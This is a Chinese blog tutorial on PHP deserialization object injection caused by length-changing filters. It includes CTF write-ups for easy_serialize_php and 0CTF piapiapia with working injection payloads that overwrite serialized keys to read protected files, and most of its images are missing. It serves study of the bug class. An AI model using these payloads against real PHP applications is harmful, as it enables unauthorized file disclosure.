浅析PHP反序列化中过滤函数使用不当导致的对象注入问题


Posted in PHP onFebruary 15, 2020

1.漏洞产生的原因

#### 正常的反序列化语句是这样的

$a='a:2:{s:8:"username";s:7:"dimpl3s";s:8:"password";s:6:"abcdef";}';

但是如果写成这样

$b='a:2:{s:8:"username";s:7:"dimpl3s";s:8:"password";s:6:"123456";}s:8:"password";s:6:"abcde";}';

也可以正常的编译, 而且下面一条语句的结果是 password=“123456” 而不是abcde

浅析PHP反序列化中过滤函数使用不当导致的对象注入问题

结果

浅析PHP反序列化中过滤函数使用不当导致的对象注入问题

这就说明一个问题,在反序列化的时候,只要求第一个序列化字符串合法就行,换我个理解,就是反序列话时,他会从前往后读取,当读取第一个合法的序列化的字符串时,就会反序列化。

### 当过滤用户输入参数的时候,如果先序列化再对序列化过后的字符串进行过滤,而且在过滤的过程中会导致原本的长度改变,就可能造成序列化对象注入漏洞。

此处参考别人的代码:

浅析PHP反序列化中过滤函数使用不当导致的对象注入问题

浅析PHP反序列化中过滤函数使用不当导致的对象注入问题

可以看到,这里过滤函数将原来的x换成了zz,但是长度却超过了原来的长度 ,但是原来长度的数字时没变的,这就导致报错。但是试想一下,如果这里的密码是可控的,然后我们输入字符

的时候带入双引号和} 会怎么样呢? 看如下代码

浅析PHP反序列化中过滤函数使用不当导致的对象注入问题

结果

浅析PHP反序列化中过滤函数使用不当导致的对象注入问题

第一排是我们构造的东西序列化过后的值,

第二排是序列化过后的值进行过滤过后的值,可以看到,此时由于x换成了z,而前面读40的时候正好会读到最后一个x,从而使我们输入的新对象得以注入,而且得到正常的反序列化。

第三排是反序列化过后的到的值,此时原本的aaaaaa的值已经被我们覆盖。

二:实例分析

根据上面的原因可知,产生漏洞最直接的原因是因为序列化过后的字符串被过滤的时长度发生变化, 根据这个这个原因,我们就可以把漏洞分为 长度变长,和长度变短两种情况,注意! 如果长度不变的话,不会引起漏洞产生。

(1) 长度变短。

题目: 安洵杯2019 easy_serialize_php // 在https://buuoj.cn/这个靶场里又复现

源码:

浅析PHP反序列化中过滤函数使用不当导致的对象注入问题

根据提示在phpinfo拿到

浅析PHP反序列化中过滤函数使用不当导致的对象注入问题

很显然答案在 d0g3_f1ag.php里面,关键是我们怎么去读取他的源码 ,可以看到最后一排的会获取 ['img'] 中的 的源码,我们仅需要覆盖img的值将他变成d0g3_f1ag.php就行。

在看这个过滤函数

浅析PHP反序列化中过滤函数使用不当导致的对象注入问题

他会使得输入的相应字符变为空,也就是让序列化后的字符串变短,我们就可以利用此来吞掉原本的变量名,而注入我们想注入的代码。

第一种解法:值逃逸

d0g3_f1ag.php的base64 编码 ZDBnM19mMWFnLnBocA== 长度20

在本地测试的时候得到正常的 序列化字符是这样的

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:3:"123";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

前者user,和function 的值都是我们可控的

我们想要构造的是 s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; 设想一下 ,如果我们把它设置function的值,并且在前面user的值利用过滤函数将后面的 "s:8:"function";s:xx:" 吞掉,那么function的值,也就是我们想要注入的对象,不就正好上位了吗? 但是注意闭合前面的由于吞掉而缺少的分号和双引号,而且,这里两个双引号紧挨着会报错,所以我们加一个字符,再把这个字符一起吞掉就行,还有 这里前面是 a:3: 所以我在最后还要添加一个属性。

payload

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

读到源码

浅析PHP反序列化中过滤函数使用不当导致的对象注入问题

再去修改payload的文件中的值,然后再去访问,发现什么也没有返回,然后尝试 /../d0g3_fllllllag 然后base64编码 去访问就会返回flag

浅析PHP反序列化中过滤函数使用不当导致的对象注入问题

(2)长度变长

题目 [0CTF] piapiapia // 同样在buu里又复现

wp参考这里 -> https://3water.com/article/180496.htm

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

红色部分是我们想要注入的,这道题的过滤函数有三个 ,但是导致长度变化的过滤是这个

浅析PHP反序列化中过滤函数使用不当导致的对象注入问题

where->hacker 多出了一个字符

但是另一个过滤使 nickname 有长度限制

浅析PHP反序列化中过滤函数使用不当导致的对象注入问题

这里strlen我们可以用数组绕过,但是如果使用数组就会引起序列化字符串产生变化

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

注意数组在序列化中的表示 是 先; 再 }

这里我进行了本地测试

浅析PHP反序列化中过滤函数使用不当导致的对象注入问题

结果:

浅析PHP反序列化中过滤函数使用不当导致的对象注入问题

红色部分为我们想注入的,蓝色的是我们提交payload的地方,后面实际上根本不用管

现在我们想的是通过where ->hacker 多了一个字符,这样使我们输入的nickname的值逃逸出去变成对象,

加上闭合前面的单引号和反括号 就是这样 ";}s:5:"photo";s:10:"config.php";}

一共就是34个字符, 一个where 逃逸出一个字符,这里就需要34个where

payload:wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}    

三.总结

武汉加油!中国加油!我加油!

以上所述是小编给大家介绍的PHP反序列化中过滤函数使用不当导致的对象注入问题,希望对大家有所帮助!

PHP 相关文章推荐
一步一步学习PHP(8) php 数组
Mar 05 PHP
spl_autoload_register与autoload的区别详解
Jun 03 PHP
函数中使用require_once问题深入探讨 优雅的配置文件定义方法推荐
Jul 02 PHP
ThinkPHP调试模式与日志记录概述
Aug 22 PHP
php+ajax实时刷新简单实例
Feb 25 PHP
php算法实例分享
Jul 14 PHP
WordPress中调试缩略图的相关PHP函数使用解析
Jan 07 PHP
遍历指定目录,并存储目录内所有文件属性信息的php代码
Oct 28 PHP
PHP二维数组去重算法
Dec 17 PHP
PHP中数组转换为SimpleXML教程
Jan 27 PHP
TP5框架model常见操作示例小结【增删改查、聚合、时间戳、软删除等】
Apr 05 PHP
利用PHP内置SERVER开启web服务(本地开发使用)
Mar 09 PHP
laravel框架使用极光推送消息操作示例
Feb 15 #PHP
laravel框架使用阿里云短信发送消息操作示例
Feb 15 #PHP
laravel框架实现敏感词汇过滤功能示例
Feb 15 #PHP
PHP 枚举类型的管理与设计知识点总结
Feb 13 #PHP
PHP+ajax实现上传、删除、修改单张图片及后台处理逻辑操作详解
Feb 12 #PHP
分享8个Laravel模型时间戳使用技巧小结
Feb 12 #PHP
tp5.0框架隐藏index.php入口文件及模块和控制器的方法分析
Feb 11 #PHP
You might like
php 计算两个时间戳相隔的时间的函数(小时)
2009/12/18 PHP
浅析PHP微信支付通知的处理方式
2014/05/25 PHP
PHP中的日期时间处理利器实例(Carbon)
2017/06/09 PHP
PHP使用 Pear 进行安装和卸载包的方法详解
2019/07/08 PHP
laravel框架中表单请求类型和CSRF防护实例分析
2019/11/23 PHP
javascript 仿QQ滑动菜单效果代码
2010/09/03 Javascript
Javascript继承机制的设计思想分享
2011/08/28 Javascript
Windows 系统下安装和部署Egret的开发环境
2014/07/31 Javascript
常用javascript表单验证汇总
2020/07/20 Javascript
Extjs实现下拉菜单效果
2016/04/01 Javascript
JavaScript中对JSON对象的基本操作示例
2016/05/21 Javascript
jQuery中的一些常见方法小结(推荐)
2016/06/13 Javascript
AngularJS基础 ng-open 指令简单实例
2016/08/02 Javascript
JavaScript判断浏览器对CSS3属性是否支持的多种方法
2016/11/13 Javascript
Javascript封装id、class与元素选择器方法示例
2017/03/13 Javascript
ES6新特性之Symbol类型用法分析
2017/03/31 Javascript
node中koa中间件机制详解
2017/08/22 Javascript
vue.js做一个简单的编辑菜谱功能
2018/05/08 Javascript
微信小程序实现点赞、取消点赞功能
2018/11/02 Javascript
Python的Flask框架中实现登录用户的个人资料和头像的教程
2015/04/20 Python
Python中用于转换字母为小写的lower()方法使用简介
2015/05/19 Python
使用Python对IP进行转换的一些操作技巧小结
2015/11/09 Python
mac下如何将python2.7改为python3
2018/07/13 Python
pandas 条件搜索返回列表的方法
2018/10/30 Python
对Python 获取类的成员变量及临时变量的方法详解
2019/01/22 Python
Kears+Opencv实现简单人脸识别
2019/08/28 Python
python GUI库图形界面开发之pyinstaller打包python程序为exe安装文件
2020/02/26 Python
需要知道的CSS3动画技术
2010/01/01 HTML / CSS
HTML5公共页面提取作为公用代码的方法
2020/06/30 HTML / CSS
美国生日蛋糕店:Bake Me A Wish!
2017/02/08 全球购物
BabyBjörn婴儿背带法国官网:BabyBjorn法国
2018/06/16 全球购物
竞选学生会主席演讲稿
2014/04/24 职场文书
2014领导班子四风问题查摆思想汇报
2014/09/13 职场文书
四风对照检查材料范文
2014/09/27 职场文书
停电通知范文
2015/04/16 职场文书
一文了解JavaScript用Element Traversal新属性遍历子元素
2021/11/27 Javascript